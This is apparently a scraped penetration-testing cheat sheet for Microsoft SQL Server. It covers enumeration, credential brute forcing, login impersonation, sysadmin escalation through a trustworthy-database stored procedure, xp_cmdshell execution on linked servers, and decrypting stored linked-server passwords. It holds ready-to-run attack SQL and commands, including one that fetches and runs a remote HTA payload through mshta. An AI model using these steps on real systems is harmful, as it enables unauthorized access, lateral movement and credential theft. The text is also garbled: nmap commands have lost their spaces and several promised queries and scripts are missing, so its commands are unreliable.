Microsoft SQL Server(MSSQL) is a relational database management system developed by Microsoft. By default, it runs on port TCP 1433
Default MS-SQL System Tables:
master Database: Records all the system-level information for an instance of SQL Server.
msdb Database: Is used by SQL Server Agent for scheduling alerts and jobs.
model Database: Is used as the template for all databases created on the instance of SQL Server. Modifications made to the model database, such as database size, collation, recovery model, and other database options, are applied to any databases created afterwards.
Resource Databas: Is a read-only database that contains system objects that are included with SQL Server. System objects are physically persisted in the Resource database, but they logically appear in the sys schema of every database.
tempdb Database : Is a work-space for holding temporary objects or intermediate result sets.
Practice
Enumerate
Using nmap scripts, we can enumerate the version of the TNS-Listener
# Usefull Sciptsnmap--scriptms-sql-info-p1433<target-ip>nmap--scriptms-sql-config-p1433<target-ip>nmap--scriptms-sql-empty-password,ms-sql-xp-cmdshell-p1433<target-ip>nmap--scriptms-sql-*-p1433<target-ip># Run all Scriptsnmap--scriptms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes--script-argsmssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER-sV-p1433<IP>
In Active Directory environements, we can directly request the Domain Controller for a list of SPNs, to stealthly identify MSSQL servers.
From a Windows Domain-Joined Computer, we can use the setspn or GetUserSPNs.ps1 command as follows.
# Setspn LOLBINsetspn-Tdomain.local-QMSSQLSvc/*# Using GetUserSPNs..\GetUserSPNs.ps1
From an UNIX-Like hosts, we can directly search using GetUserSPNs from impacket:
If you don'thave credentials you can try to guess them. You can use nmap or metasploit. Be careful, you can block accounts if you fail login several times using an existing username.
Using NetExec, we may bruteforce MSSQL credentials.
On MS-SQL (Microsoft SQL) servers, the EXEC method can be used to access a remote SMB share. MSSQL uses Keberos to authenticate users so we can retrieve the NTLM hash.
SQL Server has a special permission, named IMPERSONATE, that allows the executing user to take on the permissions of another user or login until the context is reset or the session ends.
UNIX-Like
From an UNIX-Like host, using NetExec, we can enumerate for impersonation privileges and PrivEsc as follows
Windows
To enumerate users that you can impersonate, run the following queries
We may also use mssqlclient from Impacket to enumerate users that we can impersonate
If you can impersonate a user, even if he isn't sysadmin, you should check if the user has access to other databases or linked servers.
Note that once you are sysadmin you can impersonate any other one:
If a regular user is given the role db_owner over the database owned by an admin user (such as sa) and that database is configured as trustworthy, that user can abuse these privileges to privesc because stored procedures created in there that can execute as the owner (admin).
Windows
To enumerate, run the following queries
If you found you are db_owner of a trustworthy database, you can privesc
The user running MSSQL server will have enabled the privilege token SeImpersonatePrivilege.
You probably will be able to escalate to Administrator or NT AUTHORITY\SYSTEM following this page:
Linked servers are typically configured to enable the database engine to execute a Transact-SQL statement that includes tables in another instance of SQL Server. From an attacking perspective, misconfigured linked servers can enable privilege escalation, lateral movement, and unauthorized data access by pivoting through trusted database connections.
From an UNIX-Like machine, we can enumerate Linked SQL Servers using MssqlClient.py or MSSqlPwner.
We can also enumerate Linked Servers using the followins SQL query on a MSSQL instance:
Remote Execution
From an UNIX-Like machine, we can execute code on a Linked SQL Servers using MssqlClient.py or MSSqlPwner.
The SQL login on the Linked SQL Server must be sysadmin
Decrypting Linked Server Passwords
After compromising a machine hosting an MSSQL Server instance with linked servers, an attacker can extract and decrypt the credentials used for linked server authentication (MSSQL Server Authentication).
To do so, you need to have:
A login with sysadmin role on the SQL Server instance.
Local administrator privileges on the underlying Windows server.
If local administrators don’t have sysadmin privileges you’ll just have to impersonate the MSSQL server account or local SYSTEM account. More details here.
MSSQL stores link server information, including the encrypted password, in master.sys.syslnklgns table. Specifically, the encrypted password is stored in the pwdhash column (even though it’s not a hash).
These credentials stored in master.sys.syslnklgns are symmetrically encrypted with the Service Master Key, which is stored inside the sys.key_encryptions table with a key_id value of 102. SMK is encrypted using Windows Data Protection API (DPAPI) and there are two versions of it in the database:
One encrypted as LocalMachine (with thumbprint set to 0x01 )
One encrypted in the context of CurrentUser ,meaning the SQL Server service account .
We generally choose the LocalMachine option as it can be decrypted without needing to impersonate the service account.
Additional entropy is added to strengthen the encryption but the entropy bytes can be found in the registry at HKLM:SOFTWAREMicrosoftMicrosoft SQL Server[instancename]SecurityEntropy.
Manually
One connected on MSSQL via DAC, we can enumerate and retreive encrypted credentials as follows.
We can then use following Powershell script, as Local Administrator, to decrypt the Service Master Key:
Results of previous script is the hex-encoded decrypted SMK, which can now be used to decrypt the pwdhash.
Since MSSQL Server 2012, the Service Master Key is used with AES for encryption ( 3DES was used before) . We can then decrypt the credentials using the following parameters:
The IV is the first 16 bytes of pwdhash(after padding)
The Ciphertext is the remaining bytes from pwdhash
The Key is the Service Master Key
Instead of doing this manually, we can split the pwhash using the following SQL query
We can automate this process with the Get-MSSQLLinkPasswords (Powershell) script. It should be run as a Local Administrator with a sysadmin role on the SQL Server instance.
# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned
SQL (dbo@ScrambleHR)> enum_impersonate
# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;
# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>
CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'
--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me
--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')
# mssqlclient.py
mssqlclient.py -port 1433 <DOMAIN>/<USERNAME>:<PASSWORD>@<TARGET>
SQL (dbo@master)> use_link <LINKED_SRV_NAME>
SQL >APPSRV01 (sa dbo@master)> enable_xp_cmdshell
SQL >APPSRV01 (sa dbo@master)> xp_cmdshell whoami
# MSSqlPwner
## Execution using using stored procedures
mssqlpwner <DOMAIN>/<USER>:<PASSWORD>@<TARGET> -windows-auth exec whoami -link-name <LINKED_SRV_NAME>
## Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner <DOMAIN>/<USER>:<PASSWORD>@<TARGET> -windows-auth -link-name <LINKED_SRV_NAME> exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
# Enum and retreive pwdhash
SELECT sysservers.srvname, syslnklgns.name, syslnklgns.pwdhash FROM master.sys.syslnklgns INNER JOIN master.sys.sysservers ON syslnklgns.srvid = sysservers.srvid WHERE LEN(pwdhash) > 0;
# Retreive the SMK - choose the one with a thumbprint different than 0x01
SELECT * FROM sys.key_encryptions;